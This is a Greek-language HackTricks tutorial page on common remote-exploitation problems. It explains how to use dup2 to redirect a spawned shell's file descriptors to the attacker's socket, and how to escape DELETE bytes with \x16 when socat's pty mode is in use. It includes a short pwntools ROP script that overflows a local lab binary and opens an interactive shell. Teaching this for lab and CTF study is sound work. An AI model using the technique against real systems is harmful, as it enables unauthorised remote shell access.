mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
2.7 KiB
Markdown
37 lines
2.7 KiB
Markdown
# Κοινά Προβλήματα Εκμετάλλευσης
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## FDs σε Απομακρυσμένη Εκμετάλλευση
|
||
|
||
Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί **`system('/bin/sh')`** για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από το stdin (FD: `0`) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs `1` και `2`). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.
|
||
|
||
Ένας τρόπος για να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το **FD αριθμό `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο **FD αριθμό `4`**. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την κλήση συστήματος **`dup2`** για να αντιγράψετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελεστεί.
|
||
|
||
[**Παράδειγμα εκμετάλλευσης από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = remote('localhost', 9001)
|
||
|
||
rop = ROP(elf)
|
||
rop.raw('A' * 40)
|
||
rop.dup2(4, 0)
|
||
rop.dup2(4, 1)
|
||
rop.win()
|
||
|
||
p.sendline(rop.chain())
|
||
p.recvuntil('Thanks!\x00')
|
||
p.interactive()
|
||
```
|
||
## Socat & pty
|
||
|
||
Σημειώστε ότι το socat ήδη μεταφέρει **`stdin`** και **`stdout`** στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` ( `DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας.
|
||
|
||
Για να παρακαμφθεί αυτό, το **χαρακτήρα διαφυγής `\x16` πρέπει να προστεθεί πριν από οποιοδήποτε `\x7f` σταλεί.**
|
||
|
||
**Εδώ μπορείτε να** [**βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|